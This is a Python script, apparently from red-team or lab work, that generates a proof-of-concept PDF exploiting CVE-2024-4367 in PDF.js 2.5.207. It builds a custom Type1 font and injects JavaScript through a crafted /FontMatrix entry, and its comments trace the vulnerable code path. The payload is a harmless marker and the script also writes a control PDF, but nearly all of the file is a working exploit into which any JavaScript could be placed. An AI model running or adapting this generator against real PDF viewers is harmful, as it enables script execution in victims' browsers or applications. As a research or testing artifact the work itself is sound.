#!/usr/bin/env python3
# L38-A: CVE-2024-4367 benign-marker PDF generator v3 (marker JS ONLY — no exfil, no alert, no fetch)
# Target stack: PDF.js 2.5.207 (exact target artifacts lab-verified). Chain (verified in their min.js):
#   worker fonts.js Font:     fontMatrix = dict.getArray("FontMatrix")   <- NO type check (root cause)
#   CFF parser (Type2 file):  topDict defaults ALWAYS overwrite -> CFF FontFile3 can't carry dict payload (lab-proven)
#   Type1 parser (PFA file):  extractFontHeader sets e.fontMatrix ONLY if /FontMatrix present in the program
#                             -> v3 embeds a minimal Type1 PFA/PFB with NO /FontMatrix: dict payload is authoritative
#   worker handleText:        font.data && (ADD_TO_PATH || fillColorSpace=="Pattern" || disableFontFace)
#                             -> buildFontPaths -> renderer.getPathJs -> compileGlyph:
#                                cmds += {cmd:"transform", args: fontMatrix.slice()}   <- payload rides here
#                             -> commonobj "<loadedName>_path_<char>" FontPath   (lab: all 6 glyphs sent)
#   main font_loader:         getPathGenerator: o += "c."+cmd+"("+args.join(",")+");" -> new Function("c","size",o)
#   main canvas paintChar:    (disableFontFace||h||patternFill&&!missingFile) -> path draw -> fn(c,size) CALLED
# v2 lesson (lab): empty FontFile3 -> compileGlyph early-return, no transform cmd. v3 = valid Type1 w/ charstrings.
import sys, hashlib, random

BACKSLASH = "\\"
PAYLOAD = "console.log('RT18NOV-DETONATION');document.title='RT18NOV-DETONATION'"


def _encrypt(plain: bytes, seed: int) -> bytes:
    """Type1 charstring/eexec cipher (r = (c+r)*52845+22719 mod 65536, c = p ^ (r>>8)),
    with 4 random leading plaintext bytes (discarded on decrypt)."""
    r = seed
    out = bytearray()
    for p in bytes(random.randrange(256) for _ in range(4)) + plain:
        c = p ^ (r >> 8)
        out.append(c)
        r = ((c + r) * 52845 + 22719) & 0xFFFF
    return bytes(out)


def _type1_charstring(width=100):
    """Minimal non-empty Type1 charstring: `<width> 0 hsbw endchar` (ops 13, 14)."""
    return bytes([width + 139, 0 + 139, 13, 14])


def build_type1_font():
    """Minimal Type1 font program (PFB-style binary), NO /FontMatrix. Glyphs: .notdef A b C d E f."""
    names = [".notdef", "A", "b", "C", "d", "E", "f"]
    header = ("""%!PS-AdobeFont-1.0: RT18NOV 001.001
11 dict dup begin
/FontName /RT18NOV def
/PaintType 0 def
/FontType 1 def
/FontBBox {0 0 500 700} readonly def
/Encoding StandardEncoding def
currentdict end
currentfile eexec
""").encode("latin-1")

    cs_entries = []
    for n in names:
        enc = _encrypt(_type1_charstring(), 4330)   # charstring encryption
        cs_entries.append((n, enc))

    priv = []
    priv.append(b"dup /Private 8 dict dup begin\n")
    priv.append(b"/RD {string currentfile exch readstring pop} executeonly def\n")
    priv.append(b"/ND {noaccess def} executeonly def\n")
    priv.append(b"/NP {noaccess put} executeonly def\n")
    priv.append(b"/BlueValues [] noaccess def\n")
    priv.append(b"/MinFeature {16 16} noaccess def\n")
    priv.append(b"/password 5839 def\n")
    priv.append(b"end\n")
    priv.append(b"2 index /CharStrings %d dict dup begin\n" % len(names))
    for n, enc in cs_entries:
        priv.append(b"/%s %d RD " % (n.encode(), len(enc)) + enc + b" ND\n")
    priv.append(b"""end
end
readonly noaccess put
dup /FontName get exch definefont pop
mark currentfile closefile
""")
    private_plain = b"".join(priv)

    # eexec: 4 leading random bytes + private (binary, PFB-style)
    eexec_section = _encrypt(private_plain, 55665)

    font = header + eexec_section + b"\x0a" * 8  # small binary trailer padding
    return font, len(header), len(eexec_section)


def build(payload=None):
    font_file, len1, len2 = build_type1_font()
    if payload is None:
        font_matrix = "/FontMatrix [0.1 0 0 0.1 0 0]"          # benign control (numeric)
    else:
        fmt = payload.replace("\\", "\\\\").replace("(", "\\(").replace(")", "\\)")
        font_matrix = "/FontMatrix [0.1 0 0 0.1 0 (1" + BACKSLASH + ");\n" + fmt + "\n//)]"

    lines = ["47 379 489 230 re S", "/Pattern cs", "BT", "  50 760 Td", "  117 TL", "  /F1 60 Tf", "  /P1 scn"]
    for _ in range(12):
        lines.append("  (AbCdEf) Tj")
        lines.append("  (AbCdEf) '")
    lines.append("ET")
    content = "\n".join(lines) + "\n"

    parts = []
    parts.append((1, ("<<\n/Pages 2 0 R\n/Type/Catalog\n/OpenAction[3 0 R /Fit]\n>>").encode()))
    parts.append((2, ("<<\n/Kids[3 0 R]\n/Type/Pages\n/Count 1\n>>").encode()))
    parts.append((3, ("<<\n/Type/Page\n/Resources 4 0 R\n/Contents 6 0 R\n"
                      "/Parent 2 0 R\n/MediaBox[0 0 595.2756 841.8898]\n>>").encode()))
    parts.append((4, ("<<\n/Pattern<<\n  /P1 7 0 R\n  /P2 8 0 R\n>>\n/Font<<\n  /F1 5 0 R\n>>\n>>").encode()))
    parts.append((5, ("<<\n"
                      "/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]\n"
                      "/Type/Font\n/BaseFont/RT18NOV\n/LastChar 102\n"
                      "/Encoding/WinAnsiEncoding\n"
                      + font_matrix +
                      "\n/Subtype/Type1\n/FirstChar 65\n/FontDescriptor 9 0 R\n>>").encode()))
    parts.append((6, ("<<\n/Length %d\n>>\nstream\n%s endstream" % (len(content), content)).encode()))
    parts.append((7, ("<<\n/PatternType 1\n/Matrix[1 0 0 1 50 0]\n/Length 58\n/TilingType 1\n"
                      "/BBox[0 0 16 16]\n/YStep 16\n/PaintType 1\n/Resources<<\n>>\n/XStep 16\n>>\n"
                      "stream\n0.65 g\n0 0 16 16 re f\n0.15 g\n0 0 8 8 re f\n8 8 8 8 re f\nendstream").encode()))
    parts.append((8, ("<<\n/PatternType 2\n/Shading<<\n  /Function<<\n    /Domain[0 1]\n"
                      "    /C0[0 0 1]\n    /C1[1 0.6 0]\n    /N 1\n    /FunctionType 2\n  >>\n"
                      "  /ShadingType 2\n  /Coords[46 400 537 400]\n  /Extend[false false]\n"
                      "  /ColorSpace/DeviceRGB\n>>\n/Type/Pattern\n>>").encode()))
    parts.append((9, ("<<\n/Type/FontDescriptor\n/ItalicAngle 0\n/Ascent 751\n"
                      "/FontBBox[-6 -12 579 713]\n/FontName/RT18NOV\n"
                      "/StemV 100\n/CapHeight 713\n/Flags 32\n/FontFile 10 0 R\n"
                      "/Descent -173\n/MissingWidth 250\n>>").encode()))
    parts.append((10, ("<<\n/Length %d\n/Length1 %d\n/Length2 %d\n/Length3 0\n>>\nstream\n"
                       % (len(font_file), len1, len2)).encode() + font_file + b"\nendstream"))

    out = bytearray(b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n")
    offsets = {}
    for num, data in sorted(parts):
        offsets[num] = len(out)
        out += ("%d 0 obj\n" % num).encode("latin-1")
        out += data
        out += b"\nendobj\n"

    xref_pos = len(out)
    maxn = max(offsets)
    out += ("xref\n0 %d\n" % (maxn + 1)).encode("latin-1")
    out += b"0000000000 65535 f \n"
    for num in range(1, maxn + 1):
        if num in offsets:
            out += ("%010d 00000 n \n" % offsets[num]).encode("latin-1")
        else:
            out += b"0000000000 65535 f \n"
    out += ("trailer\n<<\n/Size %d\n/Root 1 0 R\n>>\nstartxref\n%d\n%%%%EOF\n"
            % (maxn + 1, xref_pos)).encode("latin-1")
    return bytes(out)


if __name__ == "__main__":
    base = "/root/hackspace/gun/recon/fingerprint4/loop38-detonate"
    data = build(PAYLOAD)
    with open(f"{base}/rt18nov.pdf", "wb") as f:
        f.write(data)
    print(f"payload PDF  {base}/rt18nov.pdf  {len(data)}B  sha256={hashlib.sha256(data).hexdigest()[:16]}")
    print(f"  payload JS: {PAYLOAD!r}")
    ctrl = build(None)
    with open(f"{base}/control.pdf", "wb") as f:
        f.write(ctrl)
    print(f"control PDF  {base}/control.pdf  {len(ctrl)}B  sha256={hashlib.sha256(ctrl).hexdigest()[:16]}  (numeric FontMatrix)")
    ff, l1, l2 = build_type1_font()
    print(f"embedded Type1: {len(ff)}B (Length1={l1} Length2={l2}) glyphs .notdef A b C d E f, NO /FontMatrix in program")
